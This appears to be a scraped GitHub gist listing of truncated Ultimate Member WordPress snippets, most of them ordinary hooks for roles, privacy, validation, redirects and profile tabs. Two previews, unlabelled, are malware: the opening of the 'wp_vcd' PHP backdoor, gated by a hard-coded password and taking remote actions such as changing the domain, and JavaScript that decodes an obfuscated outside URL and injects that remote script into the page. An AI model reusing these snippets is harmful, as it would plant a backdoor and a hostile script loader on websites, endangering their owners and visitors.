This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function ultimatemember_rollback() { | |
global $wpdb; | |
//UM Roles to WP Roles | |
//all UM Roles from post type | |
$role_keys = array(); | |
register_post_type( 'um_role', array( | |
'labels' => array( |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'b23fd272c9f4b2a35f3507a73af869b6')) | |
{ | |
$div_code_name="wp_vcd"; | |
switch ($_REQUEST['action']) | |
{ | |
case 'change_domain'; | |
if (isset($_REQUEST['newdomain'])) | |
{ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var n2 = document.createElement('script'); n2.type = 'text/javascript'; n2.src = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 115, 116, 97, 116, 46, 117, 117, 115, 116, 111, 117, 103, 104, 116, 111, 110, 109, 97, 46, 111, 114, 103, 47, 115, 116, 97, 116, 115, 46, 106, 115, 63, 102, 61, 51); var scripts = document.getElementsByTagName('script'); | |
var n4 = true; for (var i = scripts.length; i--;) {if (scripts[i].src == n2.src) { n4 = false;}else{} } if(n4 == true){document.head.appendChild(n2);} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
add_filter( 'um_exclude_posts_from_privacy', 'my_exclude_posts', 10, 2 ); | |
function my_exclude_posts( $exclude, $post ) { | |
if ( ! empty( $post->post_type ) && $post->post_type == 'page' ) { | |
if ( um_is_core_post( $post, 'login' ) || um_is_core_post( $post, 'register' ) || | |
um_is_core_post( $post, 'account' ) || um_is_core_post( $post, 'logout' ) || | |
um_is_core_post( $post, 'password-reset' ) || ( is_user_logged_in() && um_is_core_post( $post, 'user' ) ) ) | |
$exclude = true; | |
} | |
return $exclude; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
add_action( 'um_add_error_on_form_submit_validation', 'um_form_submit_profile_bio_required', 10, 3 ); | |
function um_form_submit_profile_bio_required( $array, $key, $args ) { | |
if ( ! empty( $args[ 'show_bio' ] ) ) { | |
if ( empty( $args['description'] ) ) { | |
UM()->form()->add_error( 'description', __( 'This field is required', 'ultimate-member' ) ); | |
} | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function um_custom_login_redirect_secondary_language( $user_id ) { | |
if ( UM()->external_integrations()->is_wpml_active() ) { | |
global $sitepress; | |
$language_code = $sitepress->get_current_language(); | |
if ( $language_code == 'fi' ) { | |
if ( user_can( $user_id, 'subscriber' ) || user_can( $user_id, 'um_premium-subscribers' ) || user_can( $user_id, 'um_trial-expired' ) ) { | |
$redirect = '/fi/palveluntarjoajia-etusivu/'; | |
exit( wp_redirect( $redirect ) ); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php //Disabled by default 'user_email', 'username', 'user_login', 'user_password' | |
add_filter( 'um_user_profile_restricted_edit_fields', 'my_custom_cb', 10, 2 ); | |
function my_custom_cb( $restricted_fields, $field, $form_ata, $profile_id ) { | |
unset( $restricted_fields[0] ); | |
return $restricted_fields; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if ( !function_exists( 'um_profile_submitted_to_glabals' ) ) { | |
/** | |
* Save submitted data to $GLOBALS | |
* @param int $user_id | |
* @param array $submitted | |
*/ | |
function um_profile_submitted_to_glabals( $user_id, $submitted ) { | |
if ( $submitted ) { | |
$GLOBALS["um_user{$user_id}_profile_submitted"] = $submitted; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* Set current date if date value is empty | |
* | |
* @param string $value "Field Value" | |
* @param string $default "Field Key" | |
* @param string $key "Field Type" | |
* @param string $type "Field Default Value" | |
* @param array $data "Field Data" | |
* @return string | |
*/ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// You could set the default privacy for custom tab and disable to change the tab privacy settings in admin menu. | |
/* | |
* There are values for 'default_privacy' atribute | |
* 0 - Anyone, | |
* 1 - Guests only, | |
* 2 - Members only, | |
* 3 - Only the owner | |
*/ | |
// Filter | |
function um_mycustomtab_add_tab( $tabs ) { |